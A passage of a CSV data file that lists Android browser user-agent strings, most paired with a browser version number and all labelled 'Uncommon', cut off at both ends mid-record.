Build/6.0.B.3.184) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; ADR930L 4G Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.1; en-ke; Ideos Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.1; en-us; ADR6200 Build/ERD79) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-gb; GT-P5100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2; en-us; ADR6300 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; cm_tenderloin Build/JZO54K; CyanogenMod-10) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-ca; Arc Build/JRO03L) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; HUAWEI Y600-U20 Build/HUAWEIY600-U20) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; sdk Build/MR1) AppleWebKit/536.23 (KHTML, like Gecko) Version/4.3 Mobile Safari/536.23\",4.3,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; MediaPad T1 8.0 Build/HuaweiMediaPad) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\nDalvik/1.6.0 (Linux; U; Android 4.4.2; SM-T520 Build/KOT49H),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SPH-M950 Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-ca; SAMSUNG SGH-I757M/I757MUGLCA Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\nDDG-Android-3.1.0,,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-gb; GT-I9100 Build/JLS36G) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 CyanogenMod/Hellybean-20130924/i9100\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; pt-br; GT-S5830B Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-gb; GT-S5690 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; Android 5.0; %lang_code%; SAMSUNG SM-G900F-ORANGE Build/LRX21T) adbeat.com/policy AppleWebKit/537.36 (KHTML, like Gecko)\",,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9070 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-P3100 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; eeepc Build/IMM76L) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T989 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\nDalvik/2.1.0 (Linux; U; Android 7.0; SM-G935F Build/NRD90M),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 1.5; de-de; Galaxy Build/CUPCAKE) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\",3.1,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; es-es; GT-P5210 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; Lenovo A316i Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; HTC_PN07120/1.26.502.10 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; fr-fr; GT-I8160P Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; MID1042 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; Huawei U8800-51 Build/HWU8800B635) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SCH-R530U Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SAMSUNG-SGH-I337 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\nDalvik/1.6.0 (Linux; U; Android 4.3; SPH-L710 Build/JSS15J),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-us; ZTE V795 Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MMS/ZTE-Android-MMS-V2.0\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-gb; KFOT Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.1; ja-jp; Galaxy Nexus Build/ITL41D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; ru-ru; GT-P5200 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; LIFEFITNESSCOM-MX6DQ Build/1.1.0-rc3) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; hu-hu; GT-P7500 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; PantechP9070 Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; es-us; GT-I9060L Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; it-it; GT-I9100 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; he-il; GT-S7580 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; HTC_One_M8 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; HTC_PN071 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; MID8042 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; HTCONE Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; cm_tenderloin Build/GWK74) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; pl-pl; GT-N7000 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; id-id; Lenovo A369i Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SPH-D600 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"ZTE U808_TD/1.0 Linux/3.0.8 Android/4.0 Release/3.6.2013 Browser/AppleWebKit533.1(KHTML,like Gecko) Mozilla/5.0 Mobile\",,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2; en-us; SAMSUNG-SGH-I897 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-gb; GT-N7105 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; Lenovo A316i/S008) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; SpringBoard Build/HuaweiMediaPad) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; RCT6272W23 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-nz; GT-N8010 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; pt-br; SM-G3502L Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-au; GT-I9210T Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\nDalvik/1.6.0 (Linux; U; Android 4.4.2; SM-T230 Build/KOT49H),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-P5100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; de-de; GT-I9100 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9305 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-us; GT-S6102B Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; XT556 Build/V1.70B) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; BNTV250 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; GT-I9100 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; Prestige 7G Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; fr-fr; SM-T110 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; GT-I9300 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; SCH-I500 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; Micromax A27 Build/IML74K) AppleWebKit/534.30(KHTML,like Gecko) \t\t\tVersion/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; M865 Build/HuaweiM865) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2; en-us; SAMSUNG-SGH-I897/I897UCKB1 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; en-ca; SAMSUNG-SGH-I997R Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; nl-nl; GT-P7510 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; Titanium S5 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; it-it; GT-I8160 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-nz; GT-S5570 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-in; HTC_Explorer_A310e Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-gb; GT-I9300 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; HUAWEI Y530-U00 Build/HuaweiY530-U00) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; LePanII Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SCH-I405 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; fi-fi; IdeaTab S6000-H Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1; en-us; GT-N7100 Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SAMSUNG-SM-N900A Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; es-es; V865M Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; GT-P1000 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; LGMS769 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-au; GT-N7105T Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\nDalvik/2.1.0 (Linux; U; Android 7.0; SM-G930F Build/NRD90M),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-us; GT-B5510L Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\nCallpod Keeper for Android 1.0 (10.0.1/235) Dalvik/2.1.0 (Linux; U; Android 5.0.2; LG-D631 Build/LRX22G),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-ca; GT-P5113 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; Memo S580A Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; MT7001 Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-gb; GT-I8150 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-in; Micromax A115 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-ca; A200 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; HUAWEI U8681 Build/HuaweiU8681) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2; en-au; GT-I9000 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; RCT6077W2 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/525.10+ (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2\",3,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; da-dk; GT-I9100 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; pt-br; GT-S6313T Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; ASUS Transformer Pad TF300T Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-ca; GT-S5660M Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SCH-I545 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; it-it; GT-P3100 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; nl-be; GT-P5110 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-in; Micromax A116 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-I415 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-ca; SGH-T989D Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; de-de; GT-I9300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; es-mx; LG-E612f Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; fr-ca; GT-P5113 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; es-us; GT-I9100 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-au; GT-N8020 Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; SCH-M828C[4259054503] Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; BLU DASH 5.0 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; MID9742 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; MB860 Build/4.5.141) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9100 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; es-us; N861 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.4; fi-fi; GT-I9305 Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.1; es-es; GT-P1010 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-ca; GT-S5830D Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\nDalvik/2.1.0 (Linux; U; Android 7.0; SM-G920V Build/NRD90M),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SPH-D710 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; de-DE; HUAWEI Y530-U00 Build/HuaweiY530-U00) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\nDalvik/2.1.0 (Linux; U; Android 5.0.1; Lenovo TB3-710F Build/LRX21M),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.1; en-us; HUAWEI G610-U00 Build/HuaweiG610-U00) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; fr-fr; GT-N7000 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-gb; SM-T210R Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-R530U Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; it-it; HUAWEI Y330-U01 Build/HuaweiY330-U01) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; LT7035-J Build/MID713) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-in; Micromax A62 Build/MocorDroid2.3.5) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\nDalvik/1.6.0 (Linux; U; Android 4.2.2; SM-T310 Build/JDQ39),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-gb; SM-G350E Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; TECNO P5 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I547 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; fr-fr; GT-S6102 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-gb; ALCATEL ONE TOUCH 4010X Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; TECNO S9 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-mx; LG-E400f Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MMS/LG-Android-MMS-V1.2\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; ru-ru; GT-P3100 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; HTC_PN071 Build/KOT49H) AppleWebKit/534.30 (KHTML, like 